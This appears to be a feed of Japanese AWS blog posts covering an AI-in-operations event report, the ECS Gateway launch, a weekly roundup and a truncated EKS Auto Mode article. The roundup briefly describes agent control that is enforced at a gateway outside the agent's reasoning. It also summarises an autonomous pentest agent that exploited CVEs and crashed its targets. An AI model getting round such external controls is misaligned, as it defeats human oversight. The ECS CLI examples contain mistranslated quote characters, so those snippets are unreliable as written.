みなさん、こんにちは。 シニアスペシャリストソリューションアーキテクトの加藤です。 2026 年 10 月 7 日に、AWS 東京オフィスで「AWS 秋のクラウドオペレーション祭り 2026 〜AI をクラウド運用にも活用しよう〜」と題したイベントを開催しました。 ご参加いただいたみなさま、ありがとうございました。 これまで AWS は、クラウド運用に関するイベントを「AWS 秋のオブザーバビリティ祭り」と「AWS 秋の Cost Optimization 祭り」というように、テーマごとに深掘りする形で開催してきました。昨年秋の開催報告ブログはこちらです。 【開催報告 & 資料公開】AWS 秋のオブザーバビリティ祭り 2025 【開催報告 & 資料公開】AWS 秋の Cost Optimization 祭り 2025 昨今、コーディングエージェントの普及によって、開発の進め方は大きく変わりつつあります。 クラウド運用でも、re:Invent 2025 で AWS DevOps Agent をはじめとするフロンティアエージェントが発表され、続いてコスト管理を担う AWS FinOps Agent（プレビュー）が加わったことで、運用業務を AI エージェントに任せる選択肢が現実のものとなりつつあります。 そこで今回はテーマをクラウド運用 × AI とし、運用のカテゴリを広くカバーする形で実施してみました。 当日は、運用業務をどこまで AI に任せられるのか、そのために何を備えるべきか、という問いを軸に 5 つのセッションをお届けしました。 本記事では各セッションの概要と発表資料をご紹介します。 イベント概要 当日のアジェンダは以下のとおりです。 時間 内容 19:00-19:05 オープニング 19:05-19:25 AWS DevOps Agent で変わるリリースと運用対応 〜リリース管理機能と Directed actions のご紹介〜 19:25-19:40 Well-Architected Agent (プレビュー) で加速する Well-Architected Framework Review 19:40-19:55 AWS FinOps Agent (プレビュー) による FinOps の推進 19:55-20:05 休憩 20:05-20:25 集める・貯める・見る ── AI 時代の CloudWatch 20:25-20:45 業務用の AI エージェントをセキュアに活用する 20:45-20:55 全体 Q&A 20:55-21:00 クロージング セッションの紹介 AWS DevOps Agent で変わるリリースと運用対応 〜リリース管理機能と Directed actions のご紹介〜 アマゾン ウェブ サービス ジャパン合同会社 シニアクラウドサポートエンジニア 古野 俊広 発表資料 本セッションでは、AWS Summit Tokyo で私が登壇した「 AWS DevOps Agent による自律的インシデント対応 −その能力を引き出す設計のベストプラクティス− 」の後に追加された機能を中心に、障害からの復旧と障害の未然防止の 2 つの観点でご紹介しました。 復旧の観点では、これまでの AWS DevOps Agent は障害の調査と復旧方法の提示までを提供しており、復旧のための AWS CLI コマンドの実行などのリソース操作はお客様ご自身で実施いただく必要がありました。 新たに追加された Directed actions により、人の承認を経たうえで AWS DevOps Agent がリソースを直接操作できるようになったことと、エラーの調査から修正の実行、アラームの解消までのデモをご紹介しました。 また、AI コーディングエージェントの普及でコードの変更量が増え、人によるレビューやテストだけでは本番前に問題を発見できないケースが想定されます。 そこで重要になるのが、コードが本番環境で動く前に検証するシフトレフトです。 これを実現するリリース管理機能として、プルリクエストを自動レビューしてリリース可否を判定する Release Readiness Review と、デプロイ済みのアプリケーションに実際のリクエストを送ってリグレッションを検出する Release Testing をご紹介しました。 この 2 つのリリース管理機能はプレビュー中（イベント開催時点）で、us-east-1 リージョンでのみ利用可能となっています。 Well-Architected Agent (プレビュー) で加速する Well-Architected Framework Review アマゾン ウェブ サービス ジャパン合同会社 テクニカルアカウントマネージャー 荻野 魁人 発表資料 本セッションでは、2026 年 10 月 1 日に公開された AWS Well-Architected Agent (プレビュー) を使って Well-Architected Framework Review（WAFR）を進める方法をご紹介しました。 WAFR は、クラウド設計のベストプラクティス集である AWS Well-Architected Framework に照らして現在の設計を確認し、学ぶ、測る、改善するというサイクルを回す取り組みです。 ただし、対象となるベストプラクティスは 300 を超えるため、手作業で進めると数週間を要し、指摘をどこから改善すればよいかの判断も難しくなりがちです。 AWS Well-Architected Agent (プレビュー) は、お客様が登録したビジネス目標とアプリケーションコンテキスト（アプリケーションやアーキテクチャの概要、運用上の制約など）をもとに AWS 環境を分析し、影響と労力に基づいて優先順位を付けた推奨事項を提示します。 各推奨事項には、その推奨が必要な理由に加えて、変更した場合に他の柱へ及ぶトレードオフとその緩和策、修正手順が示されます。 セッションでは、内部監査で高リスクの指摘をゼロにするという目標を登録した発注システムを例に、データベースのログを CloudWatch Logs へエクスポートする推奨事項と、ログの取り込み料金が増えるトレードオフ、保持期間を 365 日に設定する緩和策が提示される流れをご紹介しました。 AWS FinOps Agent (プレビュー) による FinOps の推進 アマゾン ウェブ サービス ジャパン合同会社 テクニカルアカウントマネージャー 加須屋 悠己 発表資料 本セッションでは、AWS FinOps Agent（プレビュー）を使って FinOps を推進する方法をご紹介しました。 FinOps は、FinOps Foundation が定義する、エンジニアリング、財務、ビジネスの各チームを結び付けてクラウドのコストを管理する運用フレームワークであり、文化的な実践です。 ただし、FinOps Foundation による年次のサーベイである State of FinOps 2026 では、1〜4 名の FinOps チームですべてのアカウントを担っている、コストのスパイクのたびにアラート対応に追われて根本原因の調査が遅れる、毎週や毎月の定期レポートの作成に時間を取られる、アイドルリソースやライトサイジングの推奨事項が先送りされて溜まり続ける、といった課題が挙がっています。 さらに、同サーベイでは今後 12 か月の優先事項のトップが FinOps for AI になっており、AI コストの可視化、配分と配賦、AI の価値や ROI の把握といった新たな課題も加わっています。 AWS FinOps Agent（プレビュー） は、コストに関する問い合わせや指示を自然言語で行えるフロンティアエージェントです。 AWS Cost Explorer や AWS Cost Anomaly Detection、AWS Cost Optimization Hub などのデータをもとに、コストの増減要因の分析、日次や週次、月次の定期レポートの作成、コスト異常の調査、最適化機会の提示を行います。 結果は、Slack チャネルへの投稿や Jira チケットの作成によって共有することも可能です。 セッションでは、Cost Anomaly Detection を起点にコスト異常の調査と Slack への通知を自動化する例と、手作業で作っていた月次レポートを定期実行に置き換える例をご紹介しました。 日本語のハンズオンワークショップも公開されているので、資料内のリンクからお試しください。 集める・貯める・見る ── AI 時代の CloudWatch アマゾン ウェブ サービス ジャパン合同会社 ソリューションアーキテクト 梅津 寛子 発表資料 本セッションでは、AI エージェントに障害調査を任せる前提として、テレメトリを集める、貯める、見るという 3 つの観点で Amazon CloudWatch の最新機能をご紹介しました。 テレメトリが足りなければ、AI であっても人と同じように仮説を絞り込めず、根本原因にたどり着けないまま人が調べ直すことになり、復旧が遅れてしまいます。 反対に、メトリクスとトレースがそろっていた弁護士ドットコム株式会社では、AWS DevOps Agent によって調査開始から約 10 分で性能劣化の根本原因を特定できたことを、 AWS ブログ にご寄稿いただいています。 こうした状態を先に整えておけるよう、セッションでは集める、貯める、見るのそれぞれについて、CloudWatch の今年の主要アップデートをご紹介しました。 まず集める観点では、CloudWatch の ログ と メトリクス が OpenTelemetry Protocol（OTLP）での取り込みに対応し、トレースとあわせて 3 つのシグナルすべてを OpenTelemetry のまま CloudWatch に送れるようになったことをご紹介しました。 次に貯める観点では、2026 年 7 月に登場した CloudWatch Logs の Intelligent Tiering をご紹介しました。 アクセスされていないログを低コストのストレージ階層へ自動で移しつつ、どの階層のログも同じクエリで遅延なく検索できるため、コストを理由に保持期間を短くする必要がなくなります。 最後に見る観点では、2026 年 9 月 23 日に一般提供が始まった CloudWatch Omni をご紹介しました。 CloudWatch Omni は、CloudWatch のデータを AWS マネジメントコンソール外部の独立した Web UI に加えて、IDE 拡張からも利用可能な、AI を組み込んだ新しい可視化・分析機能です。 自然言語の指示に従い AI がクエリを発行し、自動で適切な UI が表示されるというのが大きな特徴です。 なお、イベント開催時点では東京リージョンに未対応でしたが、2026 年 10 月 15 日から東京リージョンでも利用できるようになりました。ぜひお試しください。 業務用の AI エージェントをセキュアに活用する アマゾン ウェブ サービス ジャパン合同会社 シニアスペシャリストソリューションアーキテクト 須田 聡 発表資料 本セッションでは、業務で AI エージェントを活用するためのセキュリティを、 AWS の AI セキュリティフレームワーク に沿ってご紹介しました。 McKinsey の The State of AI in 2026 では、AI の展開をビジネス戦略上クリティカルと回答した経営者が 94% にのぼる一方で、AI をガバナンスできていると回答した企業は 10% にとどまっています。 こうした状況を踏まえ、AI にセキュリティを後から追加するのではなく、今すでにあるセキュリティ基盤の上に AI を構築するという考え方をご紹介しました。 運用で AI を活用するアプローチとしては、AWS DevOps Agent や AWS FinOps Agent（プレビュー）、AWS Security Agent といった目的別に特化されたマネージド AI エージェントサービスを使う方法と、Kiro や Amazon Bedrock 上の AI エージェントのような汎用的な AI で業務を効率化する方法をご紹介しました。 目的別のサービスはカスタマイズ部分をセキュアに構成して利用することでセキュリティ脅威の対策にもなり、汎用的な AI はマネージドな基盤の上で AI エージェントを動かして利用します。 さらに、AI のユースケースを質問に答える AI、連携する AI、実行する AI の 3 つに、統制をかける場所をインフラストラクチャ、アイデンティティとデータ、AI アプリケーションの 3 つのレイヤーに区分し、ユースケースが広がるのにあわせてガバナンスの領域を拡大していく進め方をご紹介しました。 まとめ 今回は「AI をクラウド運用にも活用しよう」というテーマで、障害対応とリリース、アーキテクチャレビュー、コスト管理、オブザーバビリティ、セキュリティの 5 つの領域を取り上げました。 AWS DevOps Agent、AWS Well-Architected Agent（プレビュー）、AWS FinOps Agent（プレビュー）のセッションでは運用業務をどこまで AI エージェントに任せられるのかを、CloudWatch とセキュリティのセッションではそのために何を備えるべきかを、それぞれご紹介しました。 今後もクラウド運用に 関連するイベントや情報発信を続けていきますので、次回もぜひご参加ください。

プラットフォームチームが Amazon Elastic Container Service (Amazon ECS) でコンテナ化されたアプリケーションを大規模に管理する場合 、各サービスの入力ネットワークを設定することがボトルネックになることがよくあります。新しいサービスごとに、<tag>チームは Application Load Balancers (ALBs) 、 AWS Certificate Manager (ACM) 証明書、 AWS WAF  の web ACL、およびセキュリティグループをプロビジョニングして接続し、サービスの拡張、更新、運用に合わせてそれらのリソースを同期させる必要があります。このサービスごとのオーバーヘッドは、導入速度を低下させ、組織全体での構成ドリフトのリスクを高めます。 2026 年 10 月 20 日、Amazon ECS Gateway を発表しました。 Amazon ECS Gateway は、すべてのリソースをお客様のアカウントで直接作成して、お客様に代わって必要なインフラストラクチャを動的にプロビジョニングおよび管理することで、コンテナ化されたワークロードの進入ネットワークを簡素化する新しいアカウントレベルのリソースです。 ECS Gateway は、プラットフォームチームとアプリケーションチーム間の責任を明確に分離します。 プラットフォームチームは 、サブネット、セキュリティグループ、TLS 証明書、リスナー設定、WAF Web ACL などの組織のネットワーク標準を定義するゲートウェイを1か所で作成および構成します。次に、ゲートウェイを 1 つ以上の ECS クラスターに関連付け、それらのクラスターで実行されているサービスが使用できるようにします。 アプリケーションチームは 、サービスの作成または更新時にゲートウェイコネクタパラメータを追加することでサービスをオプトインします。ECSは、必要なサービスごとのリソース（ACM 証明書、一意の DNS ホスト名、リスナールール、ターゲットグループ、ALB からのインバウンドトラフィックのみを許可するサービスセキュリティグループ）を自動的にプロビジョニングします。ネットワークの専門知識は必要ありません。 ECS Gateway は、ALB を使用したホストベースのルーティングを提供し、最大25のサービスが1つの ALB を共有できるようにすることで、インフラストラクチャのコストを最適化します。ECS は基盤となるインフラストラクチャのライフサイクル全体を管理し、最初のサービスが接続されたときに最初の ALB をプロビジョニングし、容量に達すると ALB を追加し、不要になったら削除します。各サービスには固有の DNS ホスト名が割り当てられるため、プロビジョニングが完了した瞬間にチームがすぐに使えるエンドポイントを入手できます。 ECS Gateway の概要 ECS コンソールでは 、プラットフォームチームがゲートウェイを作成し、その構成を設定できます。インフラストラクチャロールは、アカウントの ALB、セキュリティグループ、証明書などのネットワークリソースをプロビジョニングおよび管理するために ECS が引き受ける IAM ロールです。ゲートウェイを作成するには、ゲートウェイ名を指定し、インフラストラクチャロールを選択します。オプションで、作成中または作成後にゲートウェイを ECS クラスターに関連付けることができます。 パブリックトラフィックルーティングまたは VPC 内部トラフィックルーティングのどちらかの負荷分散スキームを選択します。「 その他の設定 」では、リスナー、ポート、ゲートウェイがスケーリングできるロードバランサーの最大数を設定したり、ウェブアプリケーションを保護するためのウェブ ACL を設定したりできます。名前、スキーム、VPC、サブネット、IP アドレスタイプ、リスナープロトコル、ポートなどの一部の設定は、ゲートウェイの作成後に変更できません。 AWS コマンドラインインターフェイス (AWS CLI) を使用して、名前 (アカウントごとに一意)、インフラストラクチャロール、および設定オブジェクトを指定して CreateGateway を呼び出します。サービスがゲートウェイコネクタに接続するまで、インフラストラクチャはプロビジョニングされません。 aws ecs create-gateway \ --name my-team-gateway \ --infrastructure-role-arn arn:aws:iam::123456789012:role/ECSGatewayRole \ --configuration '{ 「HostSharedAlb」: { "networkConfiguration": { "subnets": [ 「subnet-080779f9bd887757a」, 「subnet-03d5b2fead6bc6258」, 「subnet-0861210a397d31252」, 「subnet-06539e194023cb77a」 ], 「ipAddressType」: 「ipv4」 }, 「scheme」: 「internet-facing」 } }' ゲートウェイを作成したら、詳細な構成、ゲートウェイルート、ロードバランサー、および関連するクラスターを確認できます。 次に、ゲートウェイを 1 つまたは複数のクラスター (多対多) に関連付けて、それらのクラスターの ECS サービスで使用できるようにします。 AssociateGatewayWithCluster を使用して、ゲートウェイをクラスター上のサービスで使用できるようにします。 aws ecs associate-gateway-with-cluster \ --gateway my-team-gateway \ --cluster arn:aws:ecs:us-east-1:123456789012:cluster/my-cluster API の呼び出しやドキュメントの検索など、ECS ゲートウェイをプログラムで作成・管理するには、お好みの AI コーディングツールで AWS MCP サーバー と プラグイン を試してください。詳細については、 Amazon ECS ゲートウェイのドキュメントをご覧ください 。 ECS ゲートウェイ:舞台裏 ゲートウェイは最大 10,000 個のクラスターに関連付けることができ、1 つのクラスターは最大 5 つのゲートウェイアソシエーションをサポートします。この多対多リレーションシップにより、プラットフォームチームは複数の環境間でゲートウェイを共有したり、単一のクラスターに複数のゲートウェイ (パブリックとプライベートなど) を割り当てたりする柔軟性が得られます。 プラットフォームチームは、どのゲートウェイをどのクラスターに関連付けるかを選択することでアクセスを制御できます。さらに制御するには、IAM ポリシーを使用して、特定のクラスターにサービスをデプロイできるユーザーを制限します。 アプリケーションチームは、 CreateService または UpdateService の各サービス定義にゲートウェイコネクタを追加します。独自のロードバランサーを備えた既存のECSサービスがある場合は、 UpdateService を呼び出してゲートウェイコネクタを追加することで、ECS Gatewayを段階的に採用できます。どちらの入力パスも引き続き利用できるため、既存のロードバランサー設定を削除する前にゲートウェイ接続を検証できます。 aws ecs create-service \ --cluster my-cluster \ --service my-api-service \ --task-definition my-api-service:1 \ --gateway-connectors 『[{ 「portName」: 「api」, 「filters」: {「accessTypes」: [「PUBLIC」]}, 「healthCheck」: {...} }]』 デプロイ時に、Amazon ECS はクラスターに関連するゲートウェイを評価し、互換性のあるすべてのゲートウェイにサービスを接続します。ゲートウェイは、アクセスタイプがサービスのコネクタフィルターと一致し、サービスと同じ VPC にあり、サービスの設定済みサブネットで使用されるすべてのアベイラビリティーゾーンをカバーしている場合に互換性があります。 接続ごとに、Amazon ECS は利用可能な容量がある ALB にサービスを割り当て、サービスごとのリソースをプロビジョニングします。これらのリソースとは、ACM 証明書、一意の DNS ホスト名、そのホスト名のトラフィックをサービスターゲットグループにルーティングするリスナールール、および ALB セキュリティグループからのインバウンドトラフィックのみを許可するサービスセキュリティグループです。既存の ALB に容量の空きがない場合、ECS は新しい ALB を作成します（クォータ制限に基づき、最大で maxAlbCount まで作成可能です）。プロビジョニングが完了すると、ゲートウェイルートは ACTIVE になり、サービス URL はトラフィックを受信できるようになります。 ECS Gateway は、一般的な運用シナリオを自動的に処理します。 再デプロイ:デプロイのたびに 、ECSはゲートウェイの関連付けを再評価します。前回のデプロイ以降、互換性のある新しいゲートウェイが関連付けられている場合、サービスはそれらに接続します。ゲートウェイの関連付けが解除されると、サービスは切断され、ルートは削除されます。サービスには、デプロイ時に常にクラスターゲートウェイの現在の状態が反映されます。 サービスの削除 : ECS は、すべてのゲートウェイからサービスを自動的に切断し、すべてのゲートウェイルートを削除し、サービスごとのすべてのリソースをクリーンアップします。サービスが ALB の最後のルートを保持していた場合、その ALB はプロビジョニング解除されます。 知っておくべきこと 覚えておくべき重要な詳細は次のとおりです。 ネットワーク : ECS ゲートウェイは、すべての起動タイプ (Amazon ECS EC2、AWS Fargate、ECS マネージドインスタンス) で awsvpc ネットワークモードを使用する ECS サービスで使用できます。サービスアベイラビリティーゾーン (AZ) は、クラスター上の各ゲートウェイの AZ のサブセットである必要があります。ゲートウェイ ALB は、サブネットがある AZ 内のタスクにのみトラフィックをルーティングします。同じ AZ セットを使用して特定のクラスターのゲートウェイとサービスを作成することをお勧めします。 キャパシティ : maxAlbCount に達しても、使用可能なキャパシティがあるALBがない場合、デプロイは失敗します。 maxAlbCount のデフォルトのクォータ制限は 10 です。 maxAlbCount の設定は、接続する予定のサービスの数に合わせて計画してください。 オブザーバビリティ :CloudWatch の ALB メトリクスを TargetGroup ディメンションとともに使用してサービスごとのトラフィックをモニタリングし、 LoadBalancer ディメンションを使用して共有 ALB 全体のトラフィックをモニタリングします。 describe-target-health を使用して、ターゲットのステータスをリアルタイムで確認します。CloudWatch アラームを、 HealthyHostCount 、 TargetResponseTime 、 HTTPCode_Target_5XX_Count などのメトリックスに対して設定し、ゲートウェイ ARN ベースのタグ付けを使用することで、モニタリングが maxAlbCount に合わせて自動的にスケーリングするようにします。 今すぐご利用いただけます Amazon ECS ゲートウェイは、ECS が追加料金なしで利用できるすべての商用 AWS リージョンでご利用いただけるようになりました。サービスがゲートウェイに接続されたときに、該当する ALB 料金、CloudWatch ログとメトリックス、ACM 証明書、データ転送料金など、アカウントにプロビジョニングされた基盤インフラストラクチャの料金のみをお支払いいただきます。詳細については、 Amazon ECS の料金ページ をご覧ください。 開始するには、今すぐ ECS コンソールで最初のゲートウェイを作成し 、 フィードバックを AWS re: Post for ECS に送信するか、通常の AWS サポート担当者を通じて送信してください。 – Channy 原文は こちら です。

2026 年 10 月 13 日週に起きたことは、新しい種類のコンピュートを追加したわけではありません。代わりに実現したのは、すでにお持ちのコードと、そのコードが本番稼働するまでの距離を縮めることでした。 AWS Lambda は、手前にアダプターを置かずにプレーンな HTTP サーバーを実行できるようになり、 Amazon S3 は、AWS マネジメントコンソールを開かずに、すでに使用しているツールの中からプロビジョニングできるものになりました。異なるサービス、同じ方向性です。 カウンターバランスとなる話題は木曜日に登場しました。本番環境に物事を投入するのが容易になるほど、それらが何を許可されているかを明言できることの重要性が増します。今週最も興味深い読み物はまさにその点についてです。それでは、今週の AWS ニュースを見ていきましょう… 主なトピック AWS Lambda Web Functions は、標準的な HTTP Web アプリケーションをイベントハンドラーに書き換えることなく Lambda 上で実行する新しいフォームファクターです。Express、Hono、Fastify、Next.js で構築したポート待ち受けサーバーを用意し、 aws lambda-web deploy を実行すると、1 分以内に稼働中の HTTPS URL が返ってきます。アダプター不要、事前のインフラ構築不要、フレームワークのロックインなし。Lambda には現在、同じ Firecracker 分離上で 3 つのフォームファクターがあり、1 つのアプリケーション内で組み合わせられます。非同期処理向けの Event Functions (すでにご存じのモデル)、ユーザー向けレイヤー向けの Web Functions、信頼できないコードを実行するステートフルなサンドボックス向けの MicroVM です。 2 つのポイントが、これを単なる再パッケージにとどまらないものにしています。各実行環境は最大 128 件の同時リクエストを処理するため、トラフィックの急増時はリクエストごとに 1 つの環境を割り当てるのではなくウォーム環境を共有し、課金は実時間ではなくコードが実際に使用した CPU 時間を計測します。サーバーサイドレンダリング、API バックエンド、トークンをストリーミングする推論エンドポイントなど、経過時間の大半を待機に費やすケースでは、これにより計算が変わります。同じデプロイコマンドに --regions を追加すると、コードがレプリケートされ、単一のグローバル URL の背後でレイテンシーベースのルーティングが構成されます。また、カナリアリリースのためにリビジョン間でトラフィックを重み付けして分割できます。5 つのリージョンで利用可能で、Arm64 上で Node.js 24 を実行し、VPC 接続に対応しています。 AWS Compute Blog にはより詳細なウォークスルーがあり、 Amazon CloudFront はオリジンアクセスコントロールを使用して Web Function エンドポイントをオリジンとして利用 できるようになりました。 10 月 19 日週のもう 1 つの見出しはローンチではありません。 Trust in Depth: giving agents more autonomy without losing control は、実務で何度も出会う主張を展開しています。エージェントのあらゆる行動に人を介在させる仕組みは小規模では機能しますが、その後は静かに機能しなくなります。すべてを確認するよう求められた人は、重要なものを見逃すようになるからです。代替案は、4 つの時点で答える 4 つの問いであり、AWS はこれを scope、know、bound、observe と呼んでいます。じっくり考える価値があるのは、エージェントの限界はエージェント自身の推論の外側、すなわちゲートウェイで適用される Amazon Bedrock AgentCore のポリシーに属するという点です。エージェントは、自分が実行していない制御を無効にできないからです。AWS は 10 年以上にわたり本番環境で自動推論を運用しており、AWS Identity and Access Management では毎秒 21 億件を超えるリクエストを処理しています。ここでの主張は、それをエージェント向けに記述するルールに適用するというものです。 10 月 13 日週のリリース 10 月 13 日週のリリースのうち、私が注目したものをいくつかご紹介します。 Amazon S3 is now available on the Vercel Marketplace and v0 by Vercel – Vercel ダッシュボードから、または v0 で構築したい内容を説明することで、S3 汎用バケット、 S3 Tables 、 S3 Vectors をプロビジョニングできるようになりました。これは Amazon Aurora 、 Amazon DynamoDB 、 Amazon OpenSearch Serverless の既存の統合に加わるため、スタック全体が 1 つの AWS アカウントと 1 つの請求に収まります。認証の詳細が優れている点です。短命の OIDC トークンを実行時に AWS Security Token Service と交換し、そのリソースにスコープされた認証情報を取得するため、静的キーはどこにも保存されません。 Amazon EC2 T8i instances are now available in South America (São Paulo) – 最新のバースタブル世代がサンパウロリージョンに登場しました。これはワークロードの地味な部分、つまりログインゲートウェイ、小規模データベース、CI/CD ランナー、低トラフィックのサイトにとって重要です。 Amazon EC2 T8i は、T3 と比べて最大 30% 優れた価格性能を提供し、コンピューティング性能は最大 70% 高く、Amazon EBS 帯域幅は 2.4 倍です。T3 と同じ CPU クレジットシステムを維持するため、移行は再設計ではなくサイズ変更になります。また、 t8i.micro と t8i.small は AWS 無料利用枠で利用できます。 Reflection Beam, an open-weight model for agentic coding, is now on AWS – Reflection AI のエージェントコーディングおよび長期タスク向けオープンウェイトモデルである Beam を、 Amazon SageMaker JumpStart からデプロイできるようになりました。これは合計 5,010 億、アクティブ 230 億パラメーターのスパースな Mixture-of-Experts モデルで、Apache 2.0 の下で Hugging Face に公開されており、Reflection は有効コンテキスト長が 100 万トークンであると報告しています。まずは JumpStart のリアルタイムエンドポイントから始めるか、Kubernetes ネイティブの制御が必要な場合は SGLang または vLLM を備えた SageMaker HyperPod Inference を使用してください。また、 AWS Trainium3 向けに移植および最適化 され、N. Virginia と Ohio でリリースされました。 AWS Lambda Durable Execution SDK for Go is now generally available – 外部イベントを待つ間、最大 1 年間一時停止し、自らの進捗をチェックポイントするマルチステップの Go ワークフローを、進捗追跡を自分で構築することなく記述できるようになりました。これにより、承認ゲート付きのデプロイロールアウトや、モデルを呼び出してから人によるレビューのために停止するパイプラインに対応できます。通常の Go ツールと同じように扱えます。 go get で追加し、 provided.al2023 ランタイムに単一の静的バイナリをデプロイし、 durabletest パッケージでワークフロー全体をローカルでテストできます。ネットワークアクセスや認証情報は不要です。 Amazon CloudWatch announces log routing and chained log parsers – Amazon CloudWatch パイプラインでルートを定義し、処理済みフィールドに対して評価された条件に基づいて各イベントを異なるロググループに送信できるようになりました。これにより、重大度、送信元、イベントタイプごとに、それぞれ独自の保持期間とアクセス制御を持つ場所に振り分けられます。連鎖パーサーがもう半分を担います。パーサーは順番に実行され、後続のパーサーが先行するパーサーの生成したフィールドを利用します。そのため、まず JSON エンベロープを解析し、次に抽出されたフィールドに対して Grok パーサーを実行できます。 AWS のお知らせに関する詳しいリストについては、「 AWS の最新情報 」ページをご覧ください。 AWS のその他のニュース 皆さんが興味を持つと思われるその他の記事とリソースをいくつかご紹介します。 AWS Security Agent exploited 33 of 37 new real-world CVEs – チームは、現在 AWS Continuum の一部となっている自律型ペネトレーションテストエージェントを、ライブのコンテナ化ターゲットとしてパッケージ化された最近公開された 37 件の CVE に向けました。開始時の情報はエンドポイント URL と 1 行のヒントだけでした。35 個のフラグを獲得し、各成功をチャレンジの正規の概念実証と照合して監査した結果、37 件中 33 件 (89.2%) が真のエンドツーエンド悪用として確認されました。失敗した 2 件こそが、この記事を読む価値のあるものにしています。どちらも、エージェントはバグを発見して悪用しましたが、フラグを読み取る前にターゲットをダウンさせてしまいました。有能な自律型攻撃者は、破壊的な攻撃者でもあります。 AWS re:Invent 2026 サーバーレス参加者ガイド – 非常に大規模なカタログを巡る厳選ルートで、人気セッションが満席になる前に入手しておく価値があります。 Dynata が AI-DLC と Kiro IDE で開発ライフサイクル全体に AI を拡大した方法 – エージェントコーディングが個人の習慣ではなくチームの働き方になったとき、何が変わるのか。 近日開催予定の AWS イベント カレンダーを確認して、近日開催予定の AWS イベントにサインアップしましょう。 AWS re:Invent – re:Invent は 11 月 30 日から 12 月 4 日までラスベガスに戻り、2,200 を超えるセッションを開催します。 イベントカタログ が公開され、予約席も受付中です。ぜひ 登録 して、満席になる前に席を確保してください。 AWS Community Days – コミュニティリーダーが企画および提供するコミュニティ主導のカンファレンスです。ここブラジルでは、2026 シーズンは 10 月 31 日にベレンで開催される AWS Community Day Brasil Norte で幕を閉じます。これは、国内のすべての地域を初めてカバーした 1 年の最後の開催地です。 AWS Builder Center に参加して、ビルダーとつながり、ソリューションを共有し、開発をサポートするコンテンツにアクセスしましょう。 こちら から、今後開催されるすべての AWS 主導の対面イベントおよび仮想イベントとデベロッパー向けのイベントをご覧いただけます。 10 月 19 日週のニュースは以上です。10 月 26 日週の次回 Weekly Roundup もお楽しみに! – Daniel Abib この記事は、Weekly Roundup シリーズの一部です。AWS からの興味深いニュースや発表を簡単にまとめて毎週ご紹介します! 原文は こちら です。

この記事は Under the hood: how Amazon EKS Auto Mode detects, repairs, and diagnoses node failures (記事公開日: 2026 年 8 月 5 日) を翻訳したものです。 GPU が PCIe バスから脱落する、ネットワークインターフェイスが応答しなくなる、コンテナランタイムが固まる。多くの Kubernetes クラスターでは、ここからオンコール対応が始まります。担当者が起こされ、ダッシュボードを確認し、SSH で接続して、cordon (スケジュール対象外としてマーク) とドレインを行い、インスタンスを手作業で終了します。 Amazon Elastic Kubernetes Service (Amazon EKS) Auto Mode では、誰かがノート PC を開くより先に、障害が起きたノードが自動的に検出され、ドレインされ、置き換えられます。 この仕組みは、2 つのコンポーネントの連携で成り立っています。 Amazon EKS ノードモニタリングエージェント (NMA) が障害を検出し、Kubernetes のノードの Condition として記録します。Karpenter はその Condition を読み取り、ノードを置き換えます。EKS Auto Mode では、どちらも設定なしで自動的に動作します。EKS Auto Mode 以外のコンピューティング (マネージドノードグループやセルフマネージドの Karpenter) でも、ノードモニタリングエージェントを EKS アドオン としてインストールすれば、同じ検出シグナルが得られます。修復の動作も同じです。Auto Mode での違いは、エージェントが DaemonSet ではなく、AMI に組み込まれた systemd サービスとして動作することです。そのため、エージェントは Pod のスケジューリングが正常に機能しない状況でも動作し続け、誤って退避させられたり、誤った設定にされたりすることもありません。 この記事では、修復サイクルの動作を順を追って見ながら、特定の障害がノードの置き換えをトリガーする一方で、他の障害が通知にとどまる理由を説明します。また、安全のためのしきい値が障害の連鎖を防ぐ仕組みと、ノードにログインせずに、どのノードからでも診断情報を収集する方法も紹介します。 検出と修復が連携する仕組み このサイクルは 2 つの部分からなり、両者の間には明確な取り決めがあります。 検出 (ノードモニタリングエージェント): エージェントは、カーネル、コンテナランタイム、ネットワーキング、ストレージ、高速コンピューティングハードウェアを監視します。そして、雑多な低レベルのシグナルを、少数の Kubernetes のノードの Condition にまとめます。障害が致命的で、ノードを置き換えるべきものであれば、エージェントは該当する Condition を False に切り替えます。 status: conditions: - type: AcceleratedHardwareReady status: "False" reason: NvidiaDeviceCountMismatch message: "Expected 8 GPUs, found 7." 修復 (Karpenter): Karpenter は、EKS Auto Mode のすべてのノードのプロビジョニングとスケーリングをすでに担っている、マネージドのコンピューティングコントローラーです。Karpenter は、これらの Condition を直接読み取ります。修復のために別のバックエンドを有効にする必要も、ノードグループごとにオプトインする必要もありません。ノードを起動したコントローラーが、そのままノードの置き換えも行います。Karpenter のクラウドプロバイダーが修復ポリシーを定義します。各ポリシーは、Condition のタイプと「このノードを置き換える」ことを意味するステータスを対応づけます。 置き換えが、Karpenter の唯一の修復アクションです。この点は、マネージドノードグループの自動修復と異なります。マネージドノードグループでは、Condition に応じてインスタンスの再起動か置き換えかを選びます。EKS Auto Mode では、異常なノードは常に新しいノードに置き換えられます。ノードがポリシーの条件に当てはまり、猶予期間を過ぎてもその状態が続くと、Karpenter が動きます。ノードに Taint を付与し、ドレインし、インスタンスを終了して、代替ノードを起動します。 ノードの Condition が、2 つの部分をつなぐ唯一のインターフェイスです。エージェントは Karpenter を呼び出さず、Karpenter はエージェントがどのように判定したかを知りません。エージェントは Kubernetes の標準の仕組みで Condition を書き込み、Karpenter はその Condition を見て動作します。両者が共有するのは Kubernetes API サーバーだけです。この疎結合によって、サイクルの信頼性が保たれています。 エージェントが検出するもの エージェントは、検出内容を 5 つのモニタリング用の Condition に分類します。 KernelReady 、 ContainerRuntimeReady 、 NetworkingReady 、 StorageReady 、 AcceleratedHardwareReady です。検出には、2 つの重大度のどちらかが付きます。 Condition 重大度の検出は致命的な障害で、該当する Condition を False に切り替え、ノードを置き換えの対象にします。 Event 重大度の検出は一時的な問題や最適でない設定で、ノードは稼働を続けたまま、状況を把握できるように Kubernetes イベントとして通知されます。修復を実行するかどうかは、この重大度で決まります。 修復をトリガーする障害は、そのままでは回復を待てないものです。高速コンピューティングインスタンスでは、GPU のデバイス数の不一致、重大な XID エラー、ダブルビット ECC エラーがこれにあたります。NVLink と NVSwitch のファブリック障害、Fabric Manager の欠落、Neuron の DMA、HBM、SRAM の訂正不能エラーも含まれます。これらは自然には回復しないハードウェア障害で、ノードを稼働させたままにすると、トレーニングのステップごとに GPU 時間を無駄にします。ネットワークでは、Amazon Virtual Private Cloud (Amazon VPC) Container Networking Interface (CNI) のプロセスの停止や、IPAMD が API サーバーに到達できない状態がこれにあたります。インターフェイスが起動しない場合や、ループバックがない場合も含まれます。カーネルとランタイムにも、それぞれ致命的なケースがあります。PID 